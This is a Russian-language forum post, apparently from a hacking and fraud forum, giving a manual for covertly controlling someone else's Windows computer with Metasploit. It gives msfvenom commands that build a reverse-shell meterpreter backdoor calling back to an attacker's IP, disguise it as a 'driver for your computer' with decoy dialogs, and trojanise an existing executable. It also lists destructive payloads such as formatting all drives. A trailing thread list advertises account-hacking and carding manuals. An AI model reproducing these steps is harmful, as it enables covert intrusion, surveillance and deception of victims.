Мануал: Скрытое управление компьютером на Windows (используя Metasploit) #1

klobald

Pro Member
Сообщения
134
Реакции
118
Посетить сайт
Введение
В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.

Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

,

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

(если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.

Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.

На протяжении все статьи будет постоянно употребляться термин «полезная нагрузка» (payload) и некоторые другие. Поэтому начнём с определения этих понятий.

Что такое полезная нагрузка (payload)
В статьях и учебниках по компьютерной безопасности можно часто встретить слово payload. Буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.

Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, предназначенная для генерации полезной нагрузки.

Что такое бэкдоры и трояны
Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).

В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.

Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.

Т.е. если мы к файлу программы «Калькулятор», добавили полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и, например, добавили файл в автозагрузку – то это будет бэкдор.

Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.

Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.

Инструкция по использованию MSFvenom – генератора полезной нагрузки
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.

Знакомство с программой начнём со справки по её опциям.

Использование:
Код:
/usr/bin/msfvenom [опции] <переменная=значение>

Опции:
Код:
-p, --payload      <полезная нагрузка>   Используемая полезная нагрузка. Укажите ‘-‘ или stdin для использования пользовательской полезной нагрузки
     --payload-options           Показывает список опций для полезной нагрузки
-l, --list         [тип]      Выводит список типов модулей. Опциями являются: payloads, encoders, nops, all
-n, --nopsled      <длина>    Подготовить nopsled [длинной] к полезной нагрузке
-f, --format       <формат>    Формат вывода (используйте --help-formats для вывода форматов)
   --help-formats              Показать список доступных форматов
-e, --encoder      <инкодер>   Кодировщик для использования
-a, --arch               Архитектура для использования
      --platform     <платформа>  Платформа полезной нагрузки
      --help-platforms            Вывести списки платформ
-s, --space        <длина>    Максимальная длина конечной полезной нагрузки
     --encoder-space <длина>    Максимальная длина кодированной полезной нагрузки (по умолчанию используется значение из -s)
-b, --bad-chars    <список>      Список символов, которые нужно избегать, пример: ‘/x00/xff‘
-i, --iterations   <счётчик>     Количество раз кодирования полезной нагрузки
-c, --add-code     <путь>      Укажите дополнительный файл шеллкода win32 для внедрения
-x, --template     <путь>      Указать пользовательский исполнимый файл для использования в качестве шаблона
-k, --keep                      Сохранить template behavior и вставить полезную нагрузку как новый поток
-o, --out          <путь>      Сохранить полезную нагрузку
-v, --var-name     <имя>      Укажите имя пользовательской переменной, которое будет использоваться для определенных форматов вывода
     --smallest                  Сгенерировать самую маленькую из возможных полезных нагрузок
-h, --help                      Показать справку
В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).

Как создать полезную нагрузку
Для генерации полезной нагрузки обязательными являются два флага: -p and -f.

Пример команды:
Код:
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o /tmp/my_payload.exe

Здесь:

  • -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
  • lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
  • lport=4444 – порт, к которому будет делаться обратное соединение
  • -f exe – формат полезной нагрузки (исполнимый файл Windows)
  • -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл
Виды полезной нагрузки MSFvenom
Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.

Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:
Код:
msfvenom -l payloads

Будет выведен такой список:


Список длинный, включает в себя 486 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.

Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.

Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.

Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку ногие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.

Ключевое слово vncinject означает задействование технологии

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

– удалённого доступа к рабочему столу.

Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.

shell означает открытие командной оболочки.

Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.

В самом конце обычно стоит указание на используемый для соединения протокол, им может быть: http, https, tcp, ipv6_tcp, tcp_dns, winhttp, winhttps и другие варианты. Могут использоваться слова proxy (соответственно, соединение через прокси), allports (пробовать соединиться на всех возможных портах), uuid (соединение с поддержкой UUID).

Имеется несколько специфичных полезных нагрузок:

  • windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
  • windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
  • windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
  • windows/exec. Выполняет произвольную команду.
  • windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
  • windows/loadlibrary. Загружает библиотеку по произвольному пути.
  • windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.
По принципу работы, полезную нагрузку можно разделить на два типа:

  • «выстрелил и забыл» (может быть доставлена, например, на USB носителе, не требует сетевого соединения)
  • требующую дополнительных действий пользователя после запуска
К «выстрелил и забыл» можно отнести форматирование всех дисков, выполнение определённых команд, создание нового пользователя.

Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.

Как узнать опции полезной нагрузки MSFvenom
У многих полезных нагрузок имеются опции. Для их показа применяется флаг --payload-options. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.

Примеры:

Код:
msfvenom -p windows/messagebox --payload-options

Код:
msfvenom -p windows/meterpreter/reverse_tcp --payload-options

Будет выведено:

Ниже будет ещё больше текста. Чтобы не захламлять статью я не стал его показывать полностью.

Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.

Вспомним наш пример:
Код:
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o /tmp/my_payload.exe

В нём lport=4444 можно было не указывать, поскольку всё равно применяется значение по умолчанию. А опция LHOST установлена как «lhost=IP_атакующего».

Форматы полезной нагрузки
Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.

Чтобы вывести список всех поддерживаемых форматов, выполните команду:
Код:
msfvenom --help-formats

Будет выведено:
Executable formats
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript​
Примеры генерации полезной нагрузки в MSFvenom
Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:
Код:
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o backdoor.exe

Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой
Код:
ip a

Чтобы узнать внешний IP:
Код:
curl suip.biz/ip/

Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):
Код:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=4444 -f exe -o backdoor.exe

Программа выведет:


И будет создан файл backdoor.exe.

Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.

Пример:
Код:
msfvenom -p windows/messagebox ICON="INFORMATION" TITLE="Compatibility test" TEXT="The test is processed" -f raw -o mes1

Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.

Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.
Код:
msfvenom -c mes1 -p windows/messagebox ICON="ERROR" TITLE="Error" TEXT="Missing necessary files" -f raw -o mes2

Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:
Код:
msfvenom -c mes2 -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=4444 -f exe -o driver_dlya_tvoego_computera.exe

Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.

Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.

Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:
Код:
msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "/x00" -f exe -o sol_bdoor.exe

На этом все. Ждите 2 часть.
 
  • Like
Реакции: Flamer, kravl1 и JRD
Название темы
Автор Заголовок Раздел Ответы Дата
klobald Мануал: Скрытое управление компьютером на Windows (используя Metasploit) #2 Уязвимости и взлом 0
Denik Интересно Мануал по работе с Amazon Обучения, схемы, мануалы 6
H Мануал по Maltego. Сбор информации Корзина 0
Denik Интересно Мануал по вбиву сс Обучения, схемы, мануалы 3
Denik Мануал по заработку Способы заработка 1
M Раздам Мануал по Ставкам Другое 25
B 6 Лендингов Adalt/Dating & (Мануал по арбитражу) Другое 0
Allen Мануал по самостоятельной добыче CC+VBV Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Мануал по рефу электроники Другое 4
Uno-uno Спецтехника Мануал (белая схема) Обучения, схемы, мануалы 3
Uno-uno Мануал по UBER поездки Обучения, схемы, мануалы 2
Flappy1 Мануал по заработку | Серое Способы заработка 8
klobald Мануал по взлому вк Способы заработка 10
klobald Мануал по рефанду в Amazon Способы заработка 0
Major1 Мануал по безопасности за 10к Другое 3
Forevonly Мануал: Атакуем WhatsApp СИ/Фишинг/Мошенничество 0
Traven Мануал получения платных схем [СЛИВ] Способы заработка 3
Forevonly Мануал: подмена ссылки Вконтакте Полезные статьи 0
Forevonly Мануал: Способ халявного интернет трафика Полезные статьи 2
Forevonly Мануал по взлому страничек VK СИ/Фишинг/Мошенничество 4
Р Мануал по восстановлению чужих симкарт РУ. МТС и билайн. Способы заработка 1
Р Мануал как бить гандоны мелким оптом!!! Способы заработка 3
shellest Мануал: Три черные схемы по Vk Способы заработка 0
shellest Мануал: Пробив информации по номеру телефона Полезные статьи 3
shellest Мануал: Способ добычи инсталлов Другое 0
S Мануал по вбиву PP со своей "фишкой" Способы заработка 9
itachi80 Мануал по взлому ВК и набиву инсталлов by InsBaron. [ОФ. СЛИВ] СИ/Фишинг/Мошенничество 24
dastreba Слив схемы зароботка с дарквеба за 8к / Мануал по взлому ВК и Инсталлам. Взлом на заказ. СИ/Фишинг/Мошенничество 5
VLAD1337 Мануал по взлому ВК (эксклюзив) Полезные статьи 2
}{@TT@БЫЧ [Слив] Мануал по телеге, 35 страниц. Способы заработка 6
АнАлЬнАя ЧуПаКаБрА Мануал по работе с аккаунтами OZON Другое 1
Motyan76 Мануал по работе с платежными системами. Анонимный ввод / вывод Полезные статьи 7
ins1der Мануал по pyrit (утилита для взлома WiFi) Полезные статьи 1
Areot Мануал по угону автомобиля Способы заработка 19
MrRyudo [Пассив] Мануал по заработку в Instagram Способы заработка 1
MR.Wolf Мануал по пакету программ "aircrack-ng" Полезные статьи 0
MrRyudo Мануал по заработку на порно(Белая) Способы заработка 2
Danzila Мануал SQL. Полезные статьи 0
HARD_RESET Мануал KorbenDallas Cyberfox-JAP Анонимность и приватность 0
АнАлЬнАя ЧуПаКаБрА Мануал по длинным поездка Яндекс.Такси [До 5000р] Полезные статьи 1
obscure Мануал по добыче аккаунтов VK (слито) СИ/Фишинг/Мошенничество 92
АнАлЬнАя ЧуПаКаБрА Мануал по отвязке iCloud Другое 3
Dembr Мануал по флуду + софт Другое 4
B Мануал - заработок от 3000 в день! Корзина 6
S Мануал по взлому хешей Полезные статьи 0
yumpa YogaDNS – управление днс трафиком Полезные статьи 0
K Удаление негативной информации, отзывов, анкет, страниц, каналов, выдачи поисковиков, компромата, управление репутацией, доступ! Ищу работу. Предлагаю свои услуги. 0
MaFio Mem Reduct - управление памятью в реальном времени Настройка системы для работы 0
1 DroidJack 4.4 Удаленное управление Android Spam/DDOS/Malware 0
1 DroidJack 4.4 Удаленное управление Android Софт для работы с текстом/Другой софт 1

Название темы